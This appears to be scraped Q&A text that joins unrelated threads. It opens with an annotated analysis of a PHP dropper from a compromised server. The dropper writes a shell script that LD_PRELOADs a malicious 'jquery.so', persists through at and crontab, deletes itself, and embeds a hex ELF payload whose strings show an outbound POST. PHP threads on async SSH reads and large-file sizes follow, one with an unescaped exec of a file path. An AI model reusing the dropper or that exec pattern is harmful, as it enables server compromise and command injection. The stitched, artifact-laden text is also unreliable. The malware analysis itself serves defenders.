#file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './jquery.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./jquery.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
/*
* #!/bin/sh
* cd '/path/to/1.sh'
* if [ -f './jquery.so' ];then
* killall -9 host;
* export AU='MYSERVER.COM/THE/REQUEST/URI' //this will be referenced in "jquery.so"
* export LD_PRELOAD=./jquery.so //load the shared object before executing "host" command. THIS IS THE CORE OF THE ATTACK. Load the attacker's shared object(which contains his function, lets call it "xyz") before executing "host" command.
* /usr/bin/host //execute. At that point, if "host" is making use of function "xyz", it would have been replaced by malicious "xyz" from "jquery.so" And since you don't know what the attacker function is actually doing, you should assume YOUR SYSTEM IS COMPROMISED.
* unset LD_PRELOAD
* crontab -l|grep -v '1\.sh'|grep -v crontab|crontab //not sure about this.
* fi
* rm 1.sh //remove
* exit 0
*/
#chmod("1.sh", 0777);
#system("at now -f 1.sh", $ret); //execute 1.sh. It will be deleted once it's executed as per the "rm" statement.
if ($ret == 0) {
//try for 5 seconds until the file is deleted (hence executed). If so, then all good.
for ($i = 0; $i < 5; $i++) {
if (! #file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
//another attempt to execute the file in case the above failed.
#system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
//keep trying for 60 seconds until the file is deleted (as per the crontab setup.)
for ($i = 0; $i < 62; $i++) {
if (! #file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
//the last resort if the previous execute attempts didn't work.
#system("./1.sh");
#unlink("1.sh");
?>
Here's a little more info. First, we can use this code to generate the ".so" file.
<?php
//build the attack string (this contains the hex representation of the attacker complied/linked program)
$so32="\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00.....";
//print it. This will output the binary
echo $so32;
?>
//run
php hack.php > jquery.so
At this point, we have the same shared object that the attacker loaded before running "host". Using "strings" command:
$ strings ./jquery.so
Output:
write
unlink
pthread_mutex_lock
pthread_mutex_unlock
gettimeofday
free
realloc
strdup
read
getaddrinfo
freeaddrinfo
socket
setsockopt
connect
malloc
mmap
munmap
usleep
strcmp
dlclose
pthread_join
__errno_location
strncmp
sprintf
strcpy
time
vsnprintf
strcat
strstr
atoi
strchr
dlopen
dlsym
pthread_create
srandom
lseek
ftruncate
umask
setsid
chroot
_exit
signal
fork
dladdr
realpath
getpid
execl
wait
getsockname
getenv
geteuid
unsetenv
popen
fgets
fclose
QQRW
1c2#N
v[uq
M!k(q.%
jc[Sj
F,%s,%x
R,%d,%d,%d,%s,%s,
P,%u,%u,%u,%u,%u
POST %s HTTP/1.0
Host: %s
Pragma: 1337
Content-Length: %d
core
%s/%s
|$$$}rstuvwxyz{$$$$$$$>?#ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq
/dev/null
%s/%c.%d
(null)
ROOT
LD_PRELOAD
/usr/bin/uname -a
/tmp
As you can see, his hack seems to be using lots of functions including him doing a POST request somewhere. It's not possible of course to figure it out from the above but gives you some clue.
If you want to take this further, you can look into and ELF decompiler. But I doubt that you will be able to reach anything conclusive. I am not an expert, but my advise is to keep on monitoring your network activity for anything out of the ordinary.
The "file" command gives you a bit of information about the file - hence ELF decomplier.
$ file ./jquery..so
Output:
./jquery.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped
Scenario: I needed a function to get STDOUT of a command run through SSH asynchronously. This has various uses including (and most importantly) reading files through SSH.
An important feature of this function is that it is asynchronous, hence I can display output as it is returned from the server (or give an estimate of the file download progress). This differs from the common approach of using ssh_move() to download files.
function ssh_exec($dsn, $cmd, $return=true, $size_est=null){
$BUFFER_SIZE = $return ? (1024 * 1024) : 1;
debug('ssh2_exec '.$cmd);
$stream = ssh2_exec(ssh_open($dsn), $cmd);
debug('stream_set_blocking');
stream_set_blocking($stream, true);
debug('ssh2_fetch_stream');
$stream_out = ssh2_fetch_stream($stream, SSH2_STREAM_STDIO);
stream_set_blocking($stream_out, true);
debug('stream_get_contents');
$data = ''; $stime = $oldtime = microtime(true); $data_len = 0;
if(!$return){
write_message("\033[0m".' Execution Output:'.PHP_EOL.' ');
}
while(!feof($stream_out)){
$buff = fread($stream_out, $BUFFER_SIZE);
if($buff===false)throw new Exception('Unexpected result from fread().');
if($buff===''){
debug('Empty result from fread()...breaking.');
break;
}
$data .= $buff;
if($return){
$buff_len = strlen($buff);
$data_len += $buff_len;
$newtime = microtime(true);
debugo('stream_get_contents '.bytes_to_human($data_len)
.' # '.bytes_to_human($buff_len / ($newtime - $oldtime)).'/s'
.' ['.($size_est ? number_format($data_len / $size_est * 100, 2) : '???').'%]');
$oldtime = $newtime;
}else{
echo str_replace(PHP_EOL, PHP_EOL.' ', $buff);
}
}
if($return){
debugo('stream_get_contents Transferred '.bytes_to_human(strlen($data)).' in '.number_format(microtime(true) - $stime, 2).'s');
return $data;
}
}
Usage: The function is used like so:
$dsn = 'ssh2.exec://root:pass#host/';
$size = ssh_size($dsn, 'bigfile.zip');
$zip = ssh_exec($dsn, 'cat bigfile.zip', true, $size);
Note 1: An explanation of some non-standard functions:
debug($message) - Writes debug message to console.
ssh_open($dsn) - Takes in an SSH URI and returns an SSH connection handle.
bytes_to_human($bytes) - Converts the number of bytes to human readable format (eg: 6gb)
debugo($message) - The same as debug() but overwrites last line.
Note 2: The parameter $size_est is used in the progress indicator; usually you'd first get the file size and then attempt to download it (as in my example). It is optional so that it can be ignored when you just want to run an SSH command.
The Problem: Running the same download operation via scp root#host:/bigfile.zip ./, I get speeds up to 1mb/s whereas this script seems to limit to 70kb/s. I'd like to know why and how to improve this.
Edit: Also, I'd like to know how/if $BUFFER_SIZE does any difference.
You should be able to use phpseclib, a pure PHP SSH implementation, to do this. eg.
$ssh->exec('cat bigfile.zip', false);
while (true) {
$temp = $this->_get_channel_packet(NET_SSH2_CHANNEL_EXEC);
if (is_bool($temp)) {
break;
}
echo $temp;
}
Might actually be faster too.
I'm running a Synology NAS Server,
and I'm trying to use PHP to get the filesize of files.
I'm trying to find a function that will successfully calculate the filesize of files over 4Gb.
filesize($file); only works for files <2Gb
sprintf("%u", filesize($file)); only works for files <4Gb
I also tried another function that I found on the php manual, but it doesn't work properly.
It randomly works for certain file sizes but not for others.
function fsize($file) {
// filesize will only return the lower 32 bits of
// the file's size! Make it unsigned.
$fmod = filesize($file);
if ($fmod < 0) $fmod += 2.0 * (PHP_INT_MAX + 1);
// find the upper 32 bits
$i = 0;
$myfile = fopen($file, "r");
// feof has undefined behaviour for big files.
// after we hit the eof with fseek,
// fread may not be able to detect the eof,
// but it also can't read bytes, so use it as an
// indicator.
while (strlen(fread($myfile, 1)) === 1) {
fseek($myfile, PHP_INT_MAX, SEEK_CUR);
$i++;
}
fclose($myfile);
// $i is a multiplier for PHP_INT_MAX byte blocks.
// return to the last multiple of 4, as filesize has modulo of 4 GB (lower 32 bits)
if ($i % 2 == 1) $i--;
// add the lower 32 bit to our PHP_INT_MAX multiplier
return ((float)($i) * (PHP_INT_MAX + 1)) + $fmod;
}
Any ideas?
You are overflowing PHP's 32-bit integer. On *nix, this will give you the filesize as a string:
<?php $size = trim(shell_exec('stat -c %s '.escapeshellarg($filename))); ?>
How about executing a shell command like:
<?php
echo shell_exec("du 'PATH_TO_FILE'");
?>
where PATH_TO_FILE is obviously the path to the file relative to the php script
you will most probably do some regex to get the filesize as a standalone as it returns a string like:
11777928 name_of_file.extention
Here is one complete solution what you can try: https://stackoverflow.com/a/48363570/2592415
include_once 'class.os.php';
include_once 'function.filesize.32bit.php';
// Must be real path to file
$file = "/home/username/some-folder/yourfile.zip";
echo get_filesize($file);
This function can run on the 32-bit Linux
function my_file_size($file){
if ( PHP_INT_MAX > 2147483647){ //64bit
return filesize($file);
}
$ps_cmd = "/bin/ls -l $file";
exec($ps_cmd, $arr_output, $rtn);
///bin/ls -l /data/07f2088a371424c0bdcdca918a3008a9cbd74a25.ic2
//-rw-r--r-- 1 resin resin 269484032 9月 9 21:36 /data/07f2088a371424c0bdcdca918a3008a9cbd74a25.ic2
if($rtn !=0) return floatval(0);
preg_match("/^[^\s]+\s+\d+\s+[^\s]+\s+[^\s]+\s+(\d+)\s+/", $arr_output[0], $matches);
if(!empty($matches)){
return floatval($matches[1]);
}
return floatval(0);
}